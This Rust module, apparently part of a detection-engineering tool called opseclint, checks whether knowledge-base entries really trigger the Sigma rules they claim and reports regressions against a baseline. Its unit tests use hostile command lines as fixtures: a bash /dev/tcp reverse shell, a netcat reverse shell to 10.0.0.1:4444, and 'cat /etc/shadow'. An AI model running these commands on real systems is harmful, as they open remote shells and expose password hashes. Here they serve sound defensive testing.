use std::collections::BTreeMap;
use serde::{Deserialize, Serialize};
use crate::kb::Platform;
use crate::model::{KbEntry, KnowledgeBase};
use crate::parser::{self, Command};
use crate::sigma::SigmaIndex;
use crate::sigma_eval::{self, Outcome};
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "kebab-case")]
pub enum Status {
Verified,
Unverified,
Indeterminate,
NoRule,
Removed,
}
impl Status {
fn label(self) -> &'static str {
match self {
Status::Verified => "VERIFIED",
Status::Unverified => "UNVERIFIED",
Status::Indeterminate => "INDETERMINATE",
Status::NoRule => "NO-RULE",
Status::Removed => "REMOVED",
}
}
fn rank(self) -> u8 {
match self {
Status::Unverified => 0,
Status::NoRule => 1,
Status::Indeterminate => 2,
Status::Verified => 3,
Status::Removed => 0,
}
}
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct VerifyResult {
pub id: String,
pub description: String,
pub techniques: Vec<String>,
pub claimed: Vec<String>,
pub status: Status,
#[serde(default, skip_serializing_if = "Vec::is_empty")]
pub firing: Vec<String>,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct VerifyReport {
pub platform: String,
pub rules_indexed: usize,
pub results: Vec<VerifyResult>,
}
impl VerifyReport {
pub fn count(&self, status: Status) -> usize {
self.results.iter().filter(|r| r.status == status).count()
}
}
fn claims_sigma(entry: &KbEntry) -> bool {
entry
.detections
.iter()
.any(|d| d.source.eq_ignore_ascii_case("sigma"))
}
fn claimed_rules(entry: &KbEntry) -> Vec<String> {
entry
.detections
.iter()
.filter(|d| d.source.eq_ignore_ascii_case("sigma"))
.map(|d| d.rule.clone())
.filter(|r| !r.is_empty())
.collect()
}
fn representative_command(entry: &KbEntry) -> Option<Command> {
let line = entry.representative_line()?;
parser::parse_line(&line).into_iter().next()
}
fn classify(entry: &KbEntry, index: &SigmaIndex, platform: Platform) -> (Status, Vec<String>) {
let tids: Vec<String> = entry.techniques.iter().map(|t| t.id.clone()).collect();
let candidates = index.rules_for(&tids);
if candidates.is_empty() {
return (Status::NoRule, Vec::new());
}
let Some(cmd) = representative_command(entry) else {
return (Status::Indeterminate, Vec::new());
};
let mut firing = Vec::new();
let mut any_indet = false;
for c in &candidates {
match &c.rule {
Some(dr) => match sigma_eval::evaluate(dr, &cmd, platform).outcome {
Outcome::Fires => firing.push(c.title.clone()),
Outcome::Indeterminate => any_indet = true,
Outcome::NoFire => {}
},
None => any_indet = true, }
}
if !firing.is_empty() {
(Status::Verified, firing)
} else if any_indet {
(Status::Indeterminate, Vec::new())
} else {
(Status::Unverified, Vec::new())
}
}
pub fn verify(kb: &KnowledgeBase, index: &SigmaIndex, platform: Platform) -> VerifyReport {
let mut results: Vec<VerifyResult> = kb
.entries
.iter()
.filter(|e| claims_sigma(e))
.map(|e| {
let (status, firing) = classify(e, index, platform);
VerifyResult {
id: e.id.clone(),
description: e.description.clone(),
techniques: e.techniques.iter().map(|t| t.id.clone()).collect(),
claimed: claimed_rules(e),
status,
firing,
}
})
.collect();
results.sort_by(|a, b| a.status.rank().cmp(&b.status.rank()).then(a.id.cmp(&b.id)));
VerifyReport {
platform: platform.sigma_product().to_string(),
rules_indexed: index.rules_indexed,
results,
}
}
pub fn render_json(report: &VerifyReport) -> String {
serde_json::to_string_pretty(report).unwrap_or_else(|_| "{}".to_string())
}
pub fn render(report: &VerifyReport, color: bool) -> String {
use crate::theme;
let c = |code: &'static str| -> &'static str { if color { code } else { "" } };
let reset = c(theme::RESET);
let verified = report.count(Status::Verified);
let unverified = report.count(Status::Unverified);
let indet = report.count(Status::Indeterminate);
let norule = report.count(Status::NoRule);
let total = report.results.len();
let mut out = String::new();
out.push_str(&format!(
"{}opseclint — detection verification ({}, {} rules indexed){}\n",
c(theme::BOLD),
report.platform,
report.rules_indexed,
reset
));
out.push_str(&format!(
" {}{} verified{} · {}{} unverified{} · {} indeterminate · {} no-rule ({} claimed)\n",
c(theme::GREEN),
verified,
reset,
c(theme::RED),
unverified,
reset,
indet,
norule,
total,
));
let mut listed = false;
for r in report
.results
.iter()
.filter(|r| matches!(r.status, Status::Unverified | Status::NoRule))
{
if !listed {
out.push('\n');
listed = true;
}
let (mark, col) = match r.status {
Status::Unverified => ("✗", c(theme::RED)),
_ => ("·", c(theme::COMMENT)),
};
out.push_str(&format!(
" {col}{mark} {label:<11}{reset} {id} [{tids}]\n {desc}\n",
label = r.status.label(),
id = r.id,
tids = r.techniques.join(", "),
desc = r.description,
));
}
out
}
#[derive(Debug, Clone, Serialize)]
pub struct StatusChange {
pub id: String,
pub description: String,
pub from: Status,
pub to: Status,
}
#[derive(Debug, Clone, Serialize, Default)]
pub struct VerifyDelta {
pub regressions: Vec<StatusChange>,
pub improvements: Vec<StatusChange>,
pub baseline_verified: usize,
pub current_verified: usize,
}
impl VerifyDelta {
pub fn has_regressed(&self) -> bool {
!self.regressions.is_empty()
}
pub fn is_empty(&self) -> bool {
self.regressions.is_empty() && self.improvements.is_empty()
}
}
fn by_id(report: &VerifyReport) -> BTreeMap<&str, &VerifyResult> {
report.results.iter().map(|r| (r.id.as_str(), r)).collect()
}
pub fn compute_delta(baseline: &VerifyReport, current: &VerifyReport) -> VerifyDelta {
let base = by_id(baseline);
let curr = by_id(current);
let mut delta = VerifyDelta {
baseline_verified: baseline.count(Status::Verified),
current_verified: current.count(Status::Verified),
..Default::default()
};
for (id, cr) in &curr {
let Some(br) = base.get(id) else { continue };
if br.status == Status::Verified && cr.status != Status::Verified {
delta.regressions.push(StatusChange {
id: cr.id.clone(),
description: cr.description.clone(),
from: br.status,
to: cr.status,
});
} else if br.status != Status::Verified && cr.status == Status::Verified {
delta.improvements.push(StatusChange {
id: cr.id.clone(),
description: cr.description.clone(),
from: br.status,
to: cr.status,
});
}
}
for (id, br) in &base {
if br.status == Status::Verified && !curr.contains_key(id) {
delta.regressions.push(StatusChange {
id: br.id.clone(),
description: br.description.clone(),
from: Status::Verified,
to: Status::Removed,
});
}
}
delta.regressions.sort_by(|a, b| a.id.cmp(&b.id));
delta.improvements.sort_by(|a, b| a.id.cmp(&b.id));
delta
}
pub fn render_delta(delta: &VerifyDelta, color: bool) -> String {
use crate::theme;
let c = |code: &'static str| -> &'static str { if color { code } else { "" } };
let reset = c(theme::RESET);
let mut out = String::new();
out.push_str(&format!(
"detection verification vs baseline: {} → {} verified\n",
delta.baseline_verified, delta.current_verified
));
if delta.is_empty() {
out.push_str(" no change\n");
return out;
}
for r in &delta.regressions {
out.push_str(&format!(
" {}✗ REGRESSED{} {} ({} → {})\n {}\n",
c(theme::RED),
reset,
r.id,
r.from.label(),
r.to.label(),
r.description,
));
}
for r in &delta.improvements {
out.push_str(&format!(
" {}✓ VERIFIED{} {} ({} → {})\n",
c(theme::GREEN),
reset,
r.id,
r.from.label(),
r.to.label(),
));
}
out
}
pub fn render_delta_json(delta: &VerifyDelta) -> String {
serde_json::to_string_pretty(delta).unwrap_or_else(|_| "{}".to_string())
}
#[cfg(test)]
mod tests {
use super::*;
use crate::kb;
use crate::matcher::{LinePred, Matcher, ProgramMatch};
use crate::model::{Detection, Technique};
use std::path::PathBuf;
fn index() -> SigmaIndex {
let dir = PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("tests/fixtures/sigma");
SigmaIndex::load_dir(&dir, "linux").expect("index loads")
}
fn entry(id: &str, command: Option<&str>, raw: Option<&str>, tech: &str) -> KbEntry {
let matcher = Matcher {
program: command.map(|c| ProgramMatch::Exact(c.to_string())),
args: None,
line: raw.map(|r| LinePred::Contains(r.to_string())),
event: None,
};
KbEntry {
id: id.into(),
matcher,
example: None,
description: format!("{id} description"),
techniques: vec![Technique {
id: tech.into(),
name: tech.into(),
}],
telemetry: vec![],
detections: vec![Detection {
source: "Sigma".into(),
rule: format!("{id} rule"),
confidence: "medium".into(),
verdict: None,
}],
noise: 50,
}
}
fn kb_of(entries: Vec<KbEntry>) -> KnowledgeBase {
KnowledgeBase {
platform: "linux".into(),
note: String::new(),
entries,
}
}
fn result_for<'a>(report: &'a VerifyReport, id: &str) -> &'a VerifyResult {
report
.results
.iter()
.find(|r| r.id == id)
.unwrap_or_else(|| panic!("no result for {id}"))
}
#[test]
fn verified_when_a_real_rule_fires() {
let kb = kb_of(vec![entry(
"revsh",
None,
Some("bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"),
"T1059.004",
)]);
let report = verify(&kb, &index(), kb::Platform::LinuxAuditd);
assert_eq!(result_for(&report, "revsh").status, Status::Verified);
assert!(!result_for(&report, "revsh").firing.is_empty());
}
#[test]
fn unverified_when_rule_exists_but_does_not_fire() {
let kb = kb_of(vec![entry(
"nc-revsh",
None,
Some("nc -e /bin/sh 10.0.0.1 4444"),
"T1059.004",
)]);
let report = verify(&kb, &index(), kb::Platform::LinuxAuditd);
assert_eq!(result_for(&report, "nc-revsh").status, Status::Unverified);
}
#[test]
fn indeterminate_when_rule_needs_unavailable_field() {
let kb = kb_of(vec![entry(
"shadow",
None,
Some("cat /etc/shadow"),
"T1003.008",
)]);
let report = verify(&kb, &index(), kb::Platform::LinuxAuditd);
assert_eq!(result_for(&report, "shadow").status, Status::Indeterminate);
}
#[test]
fn no_rule_when_technique_absent_from_ruleset() {
let kb = kb_of(vec![entry("whoami", Some("whoami"), None, "T1033")]);
let report = verify(&kb, &index(), kb::Platform::LinuxAuditd);
assert_eq!(result_for(&report, "whoami").status, Status::NoRule);
}
#[test]
fn only_entries_with_a_sigma_claim_are_verified() {
let mut with_claim = entry("claimed", Some("whoami"), None, "T1033");
let mut no_claim = entry("unclaimed", Some("ls"), None, "T1083");
no_claim.detections.clear(); with_claim.detections.push(Detection {
source: "Custom".into(),
rule: "internal".into(),
confidence: "low".into(),
verdict: None,
});
let kb = kb_of(vec![with_claim, no_claim]);
let report = verify(&kb, &index(), kb::Platform::LinuxAuditd);
assert_eq!(report.results.len(), 1);
assert_eq!(report.results[0].id, "claimed");
assert!(report.results.iter().all(|r| !r.claimed.is_empty()));
}
#[test]
fn real_kb_verifies_without_panicking() {
let kb = kb::load(kb::Platform::LinuxAuditd).unwrap();
let report = verify(&kb, &index(), kb::Platform::LinuxAuditd);
let claimed = kb.entries.iter().filter(|e| claims_sigma(e)).count();
assert_eq!(report.results.len(), claimed);
assert!(report.results.iter().all(|r| !r.claimed.is_empty()));
let sum = report.count(Status::Verified)
+ report.count(Status::Unverified)
+ report.count(Status::Indeterminate)
+ report.count(Status::NoRule);
assert_eq!(sum, report.results.len());
}
#[test]
fn delta_flags_regression_and_improvement() {
let mk = |id: &str, status: Status| VerifyResult {
id: id.into(),
description: format!("{id} desc"),
techniques: vec!["T1000".into()],
claimed: vec!["some rule".into()],
status,
firing: vec![],
};
let baseline = VerifyReport {
platform: "linux".into(),
rules_indexed: 3,
results: vec![
mk("a", Status::Verified), mk("b", Status::Unverified), mk("c", Status::Verified), ],
};
let current = VerifyReport {
platform: "linux".into(),
rules_indexed: 3,
results: vec![
mk("a", Status::Unverified),
mk("b", Status::Verified),
mk("c", Status::Verified),
],
};
let delta = compute_delta(&baseline, ¤t);
assert!(delta.has_regressed());
assert_eq!(delta.regressions.len(), 1);
assert_eq!(delta.regressions[0].id, "a");
assert_eq!(delta.improvements.len(), 1);
assert_eq!(delta.improvements[0].id, "b");
}
#[test]
fn delta_flags_vanished_verified_entry() {
let mk = |id: &str, status: Status| VerifyResult {
id: id.into(),
description: format!("{id} desc"),
techniques: vec!["T1000".into()],
claimed: vec!["some rule".into()],
status,
firing: vec![],
};
let baseline = VerifyReport {
platform: "linux".into(),
rules_indexed: 1,
results: vec![mk("gone", Status::Verified), mk("stay", Status::Verified)],
};
let current = VerifyReport {
platform: "linux".into(),
rules_indexed: 1,
results: vec![mk("stay", Status::Verified)],
};
let delta = compute_delta(&baseline, ¤t);
assert!(delta.has_regressed());
assert_eq!(delta.regressions.len(), 1);
assert_eq!(delta.regressions[0].id, "gone");
assert_eq!(delta.regressions[0].to, Status::Removed);
}
}